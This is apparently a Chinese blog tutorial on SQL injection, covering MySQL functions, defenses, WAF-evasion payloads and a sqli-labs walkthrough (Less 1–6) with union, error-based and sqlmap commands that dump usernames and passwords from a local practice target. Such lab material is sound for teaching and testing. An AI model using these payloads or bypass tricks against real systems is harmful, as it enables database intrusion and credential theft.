目录
一、SQL注入知识
1.1 SQL注入原理
SQL注入(SQL Injection)是一种针对数据库的攻击技术,攻击者通过在输入字段中插入恶意的SQL代码,以操纵数据库执行未经授权的操作。其原理是利用应用程序未对用户输入进行充分的过滤和验证,使得恶意的SQL代码被直接注入到数据库中执行,获取或修改数据库中的数据,达到攻击者的目的。
本质:数据库把用户输入的数据当作SQL代码来执行,违背了“数据与代码分离”的原则。
1.2 SQL注入分类
分类依据 | 类型 |
---|---|
获取信息的方式 | 布尔盲注,时间盲注,报错注入 ,union查询注入,堆叠注入等 |
提交方式 | GET、POST、COOKIE、HTTP 注入等 |
注入点类型 | 数字类型的注入、字符串类型的注入、搜索型注入等 |
其他注入 | 二次注入、User-Agent 注入、文件读写、宽字节注入 、万能密码 等 |
1.3 SQL注入常用函数及含义
version() Mysql版本
user() 数据库用户名
database() 数据库名
system_user() 数据库用户名
session_user() 连接数据库的用户名
current_user() 当前用户名
load_file() 读取本地文件
@@datadir 读取数据库路径
@@basedir mysql安装路径
@@version_complie_os 查看操作系统版本
information_schema 自带数据库
information_schema.schemata 数据库
information_schema.tables 数据表
information_schema.columns 数据列
floor() 返回小于等于该值的最大整数
RAND() 在0和1之间产生一个随机数
join() 实现表的连接
length(str) : 返回给定字符串的长度,如 length("string")=6
substr()、stbstring()、mid() :三个函数的用法、功能均一致
concat(username):将查询到的username连在一起,默认用逗号分隔
concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接
group_concat(username) :将username所有数据查询在一起,用逗号连接
limit 0,1:查询第1个数 limit 1,1:查询第2个数
order by 4 -- 判断有多少列
union select 1,2,3 -- 判断数据显示点
union select 1,user(),database() -- 显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- 查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- 查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- 查看账号密码信息
1.4 SQL注入防御手段
1. 基础防范措施
(1)预编译语句与参数化查询
在大多数现代编程语言与数据库驱动程序中,提供了预编译SQL语句的功能,如Java中的PreparedStatement:
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, userInputUsername);
pstmt.setString(2, userInputPassword);
ResultSet rs = pstmt.executeQuery();
此处的?
标记会被替换成实际的参数值,从而有效防止了SQL注入。
(2)严格过滤特殊字符
虽然不是最佳做法,但在无法使用预编译语句的情况下,至少应对用户输入进行严格的验证和转义:
import mysql.connector
from mysql.connector import Error
def escape_input(input_str):
return mysql.connector.escape_string(input_str)
username = escape_input(request.form['username'])
password = escape_input(request.form['password'])
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
2. 进阶防御机制
(1)最小权限原则
确保应用程序连接数据库的账号仅具备完成任务所需的最小权限,避免攻击者一旦突破防线就能全面操控数据库。
(2)二次身份验证与访问控制
对于敏感操作,实施双重验证或其他形式的身份验证机制,以降低单一攻击途径的风险。
(3)使用ORM框架
面向对象关系映射(ORM)框架通常内置了对抗SQL注入的安全措施,如Django ORM、Hibernate等。
(4)安全编码规范
团队内部推行严格的安全编码规范,要求开发人员时刻警惕SQL注入风险,并通过自动化测试工具检测潜在漏洞。
1.5 SQL注入常用绕过WAF的方法
1. 编码伪装
编码绕过的原理是,攻击者在注入时采用了一些特殊的字符编码方式,从而绕过WAF的检测过程。这种编码绕过的思路就是利用特殊的字符编码方式,将恶意SQL语句转化为WAF规则无法匹配的形式。伪装编码又分为以下几种:
(1)URL编码:
示例:没有伪装前的payload:
SELECT * FROM users WHERE username = 'admin' or 1 = 1;--' AND password = '123456'
URL编码伪装后的payload:
SELECT%20*%20FROM%20users%20WHERE%20username%20%3D%20%27admin%27%20or%201%20%3D%201%3B--%27%20AND%20password%20%3D%20%27123456%27
(2)Unicode编码:
示例:没有伪装前的payload:
SELECT * FROM users WHERE username = 'admin' OR 1=1 AND password = '123456'
伪装后的payload:
SELECT+*+FROM+users+WHERE+username+=+'%u0061dmin'+OR+1=1%23+AND+password+=+'123456'
(3)十六进制编码:
示例:伪装前payload:
' OR 1=1 --
伪装后payload:
27%20%4F%52%201%3D%31%20%2D%2D
(4)二次编码:
示例:伪装前payload:
-1 union select 1,2,3,4#
第一次编码后的payload:
%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%23
第二次编码后的payload:
%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33
2. 转义字符伪装
示例:伪装前
'UNION SELECT username, password FROM users --
伪装后
\' UNION SELECT username, password FROM users --
在上述示例中,攻击者在原始payload中使用了单引号,在单引号前面加上了反斜杠【 \ 】,形成了转义字符 【\ ’ 】。但在程序中,反斜杠本身也是一个转义字符。我们通过将反斜杠和单引号组合使用,就可以在SQL语句中实现一个“接近”的单引号字符,而不是一个完整的单引号字符。这样,攻击者就成功地绕过了对单引号的过滤和校验。
3. 随机数混淆
示例:伪装前payload:
UNION SELECT username, password FROM users WHERE id=1
伪装后payload:
' UNION SELECT username, password
FROM users WHERE id=1 AND 1=(SELECT
RAND() < 0.5) --
在这个Payload中,攻击者使用了RAND()函数来生成一个随机数,并将它与0.5进行比较。因为RAND()函数可以返回0到1之间的任意数值,所以此处的比较操作的结果是随机的:有50%的几率生成的随机数小于0.5,50%的几率大于等于0.5。当生成的随机数小于0.5时,Payload会变成:
UNION SELECT username, password FROM users WHERE id=1 AND 1=1
当生成的随机数大于等于0.5时,Payload会变成:
UNION SELECT username, password FROM users WHERE id=1 AND 1=0
这两种情况对应了恶意代码执行成功和失败的情况。同时,攻击者还使用了–注释符号来消除掉多余的Payload,使得恶意代码更加难以被检测到。
采用随机数混淆的策略可以让Payload在每次注入时都不同,从而增加了WAF检测的难度。同时,由于随机数的不可预测性,攻击者可以借助随机的结果来判断注入是否成功,而WAF却无法识别这一点。
4. 大小写伪装
即通过大小写混合来伪装,比如:【UnIon SeleCt】
5. 双写伪装
如:【UNIunionON SELselectECT】。 原理也很简单:waf将其识别为普通字符而逃过过滤,但是应用程序按照union select来处理。
6. 内联注释伪装
内联注释SQL注入的原理是在注入语句中嵌入内联注释,将恶意SQL代码隐藏在注释中,使之不会被防火墙检测到。例如,攻击者可以在注入语句中夹杂内联注释符号“/* */”,来进行伪装,使应用程序误解为注释掉的一部分代码,而实际上是执行了注入的恶意代码。如:【’ /!union/ select】
7. 总结
针对sql注入攻击的绕过一般是在数据库层面的绕过,需要指出的是,针对不同的数据库管理系统,其特性不同,绕过方式也存在差异。绕过的核心思路就是通过伪装混淆,逃过waf的过滤规则,但是又能在应用层顺利执行。
二、sqli-labs靶场通关
搭建sqli-labs平台时,在数据库初始化阶段可能会因为小皮版本问题报错,解决方法是下载php7版本的靶场或直接给小皮降版本,具体步骤见我另一篇博客:
数据库初始化成功:
靶场成功搭建,可以开始做题了!
2.1 Less 1
本关提示我们输入数字值的ID作为参数,我们输入?id=1试试:
输入?id=2试试:
可以看到数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。
而后判断sql语句是否是拼接,且是字符型还是数字型。
?id=1'
?id=1'--+
判断是字符型注入,闭合方式是'。可以使用联合查询。
(1)找列数
如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1'order by 3 --+
?id=1'order by 4 --+
可得到列数为3。
(2)爆出显示位
看看表格里面那一列是在页面显示的。
发现是第二列和第三列里面的数据被显示。
(3)获取当前数据名和版本号
?id=-1'union select 1,database(),version()--+
(4)爆表
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
(5)爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
(6)爆用户名密码
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
2.2 Less 2
跟Less-1思路一样,先判断注入类型,再进行注入。
(1)判断输入类型
?id=1 and 1=1
?id=1 and 1=2
判断为数字型注入。
(2)查询字段数
?id=1 order by 3
?id=1 order by 4
可以知道字段数为3。
(3)注入
?id=-1 union select 1,2,3 -- 显位
?id=-1 union select 1,database(),version() -- 爆库
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- 爆表
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' -- 爆列
爆用户名和密码:
?id=-1 union select 1,2,group_concat(username ,id , password) from users
2.3 Less 3
同Less-1判断过程,【')】闭合。
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
2.4 Less 4
同Less-1判断过程,【")】闭合。
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
2.5 Less 5
同Less1-4的判断过程,发现即使调整了id的值,并没有产生回显点,判断闭合方式为单引号闭合。采用报错注入。
(1)爆库名
?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
(2)爆表名
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+
(3)爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
(4)爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+
三、SQL的手工注入的步骤
SQL手工注入的基本步骤:
(1)判断是否存在注入,判断类型并且闭合语句;
(2)使用order by 关键字来判断字段数;
(3)选择注入语句,使用union查询或者报错注入;
(4)获取数据库用户,版本,当前连接的数据库等信息;
(5)获取某个数据库表的信息,获取列信息;
(6)获取表中的数据。
四、使用sqlmap通过或验证第六关
下面以第六关为例,用sqlmap尝试通关。
4.1 --dbs枚举数据库
sqlmap -u http://127.0.0.1/Less-6/?id=1 --batch --dbs
得到所有数据库名。
4.2 --tables枚举数据库表
sqlmap -u http://127.0.0.1/Less-6/?id=1 --dbms mysql --technique E -o -D security --tables --batch
得到指定数据库中的所有表名。
4.3 --columns枚举列
sqlmap -u http://127.0.0.1/Less-6/?id=1 --dbms mysql --technique E -o -D security -T users --columns --batch
得到指定数据库中指定表中的所有列的信息。
4.4 --dump枚举数据
sqlmap -u http://127.0.0.1/Less-6/?id=1 --dbms mysql --technique E -o -D security -T users -C username,password --dump --batch
枚举数据,得到第六关的用户名和密码(存储在security数据库的users表中)。